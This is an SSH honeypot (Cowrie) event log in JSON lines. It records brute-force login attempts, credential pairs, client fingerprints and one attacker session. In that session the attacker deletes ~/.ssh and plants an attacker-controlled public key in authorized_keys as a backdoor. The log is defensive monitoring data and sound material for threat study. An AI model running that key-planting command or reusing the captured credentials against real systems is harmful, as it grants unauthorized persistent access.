{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:32:56.416746Z","src_ip":"136.248.247.188","session":"6bb427ca852f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:32:56.551354Z","src_ip":"136.248.247.188","session":"6bb427ca852f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:32:57.117813Z","src_ip":"136.248.247.188","session":"6bb427ca852f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:32:58.254799Z","src_ip":"136.248.247.188","session":"6bb427ca852f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"136.248.247.188","src_port":45932,"dst_ip":"159.203.135.109","dst_port":22,"session":"8c913a88634a","protocol":"ssh","message":"New connection: 136.248.247.188:45932 (159.203.135.109:22) [session: 8c913a88634a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:32:58.379621Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:32:58.384970Z","src_ip":"136.248.247.188","session":"8c913a88634a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:32:58.515820Z","src_ip":"136.248.247.188","session":"8c913a88634a","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:32:59.071555Z","src_ip":"136.248.247.188","session":"8c913a88634a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:32:59.205487Z","src_ip":"136.248.247.188","session":"8c913a88634a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.6","message":"Connection lost after 4.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:32:59.216508Z","src_ip":"136.248.247.188","session":"955cb457f2ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"115.190.241.219","src_port":50076,"dst_ip":"10.17.0.5","dst_port":22,"session":"386498efdec6","protocol":"ssh","message":"New connection: 115.190.241.219:50076 (10.17.0.5:22) [session: 386498efdec6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:33:21.261482Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:33:21.265992Z","src_ip":"115.190.241.219","session":"386498efdec6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4e066189c3bbeec38c99b1855113733a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 4e066189c3bbeec38c99b1855113733a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:33:21.499120Z","src_ip":"115.190.241.219","session":"386498efdec6","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"kjashd123sadhj123d1SS","message":"login attempt [root/kjashd123sadhj123d1SS] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:33:25.145796Z","src_ip":"115.190.241.219","session":"386498efdec6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.1","message":"Connection lost after 4.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:33:25.381096Z","src_ip":"115.190.241.219","session":"386498efdec6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"70.9","message":"Connection lost after 70.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:33:37.418993Z","src_ip":"218.157.205.238","session":"dec38b32beae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.57.48","src_port":55948,"dst_ip":"159.203.135.109","dst_port":22,"session":"c75bb66c6f8b","protocol":"ssh","message":"New connection: 159.223.57.48:55948 (159.203.135.109:22) [session: c75bb66c6f8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:33:48.190860Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:33:48.195004Z","src_ip":"159.223.57.48","session":"c75bb66c6f8b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:33:48.432488Z","src_ip":"159.223.57.48","session":"c75bb66c6f8b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"138.99.80.102","src_port":54140,"dst_ip":"159.203.135.109","dst_port":22,"session":"c7efc2ddbee0","protocol":"ssh","message":"New connection: 138.99.80.102:54140 (159.203.135.109:22) [session: c7efc2ddbee0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:33:49.029860Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:33:49.034720Z","src_ip":"138.99.80.102","session":"c7efc2ddbee0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:33:49.142917Z","src_ip":"138.99.80.102","session":"c7efc2ddbee0","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"zxasqw12","message":"login attempt [root/zxasqw12] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:33:49.417200Z","src_ip":"159.223.57.48","session":"c75bb66c6f8b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"itadmin","password":"itadmin","message":"login attempt [itadmin/itadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:33:49.605942Z","src_ip":"138.99.80.102","session":"c7efc2ddbee0","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:33:50.007010Z","src_ip":"159.223.57.48","session":"c75bb66c6f8b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:33:50.010485Z","src_ip":"159.223.57.48","session":"c75bb66c6f8b","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:33:50.014072Z","src_ip":"159.223.57.48","session":"c75bb66c6f8b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:33:50.255483Z","src_ip":"159.223.57.48","session":"c75bb66c6f8b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:33:50.716786Z","src_ip":"138.99.80.102","session":"c7efc2ddbee0","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:33:50.763384Z","src_ip":"159.223.57.48","session":"c75bb66c6f8b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:33:50.765822Z","src_ip":"159.223.57.48","session":"c75bb66c6f8b","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:33:51.007703Z","src_ip":"159.223.57.48","session":"c75bb66c6f8b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:33:51.011736Z","src_ip":"159.223.57.48","session":"c75bb66c6f8b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.57.48","src_port":39914,"dst_ip":"159.203.135.109","dst_port":22,"session":"2d2368abec5e","protocol":"ssh","message":"New connection: 159.223.57.48:39914 (159.203.135.109:22) [session: 2d2368abec5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:33:51.256927Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:33:51.261244Z","src_ip":"159.223.57.48","session":"2d2368abec5e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:33:51.506380Z","src_ip":"159.223.57.48","session":"2d2368abec5e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:33:52.520138Z","src_ip":"159.223.57.48","session":"2d2368abec5e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:33:53.768830Z","src_ip":"159.223.57.48","session":"2d2368abec5e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.57.48","src_port":39918,"dst_ip":"159.203.135.109","dst_port":22,"session":"f6bab813ad50","protocol":"ssh","message":"New connection: 159.223.57.48:39918 (159.203.135.109:22) [session: f6bab813ad50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:33:53.995583Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:33:54.000024Z","src_ip":"159.223.57.48","session":"f6bab813ad50","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:33:54.238037Z","src_ip":"159.223.57.48","session":"f6bab813ad50","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:33:55.221750Z","src_ip":"159.223.57.48","session":"f6bab813ad50","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.3","message":"Connection lost after 7.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:33:55.462934Z","src_ip":"159.223.57.48","session":"c75bb66c6f8b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:33:55.469385Z","src_ip":"159.223.57.48","session":"f6bab813ad50","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":33454,"dst_ip":"10.17.0.5","dst_port":22,"session":"5ebbe30b5398","protocol":"ssh","message":"New connection: 2.57.122.208:33454 (10.17.0.5:22) [session: 5ebbe30b5398]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:34:05.169240Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:34:05.310629Z","src_ip":"2.57.122.208","session":"5ebbe30b5398","protocol":"ssh"}
